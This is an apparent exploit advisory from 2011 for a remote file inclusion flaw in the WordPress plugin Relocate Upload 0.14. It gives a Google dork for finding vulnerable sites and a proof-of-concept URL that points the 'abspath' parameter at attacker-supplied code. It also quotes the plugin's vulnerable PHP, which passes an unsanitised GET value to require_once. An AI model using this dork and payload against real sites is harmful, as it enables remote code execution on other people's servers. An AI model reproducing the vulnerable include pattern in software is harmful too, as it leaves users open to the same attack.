WordPress Plugin Relocate Upload 0.14 - Remote File Inclusion

# Exploit Title: Relocate Upload Wordpress plugin RFI
# Google Dork: inurl:wp-content/plugins/relocate-upload
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
# Software Link: http://wordpress.org/extend/plugins/relocate-upload/download/
# Version: 0.14 (tested)

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PoC
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http://SERVER/WP_PATH/wp-content/plugins/relocate-upload/relocate-upload.php?ru_folder=asdf&abspath=RFI

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Vulnerable Code
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// Move folder request handled when called by GET AJAX
if (isset($_GET['ru_folder']))
{       // WP setup and function access
        define('WP_USE_THEMES', false);
        require_once(urldecode($_GET['abspath']).'/wp-load.php'); // save us looking for it, it's passed as a GET parameter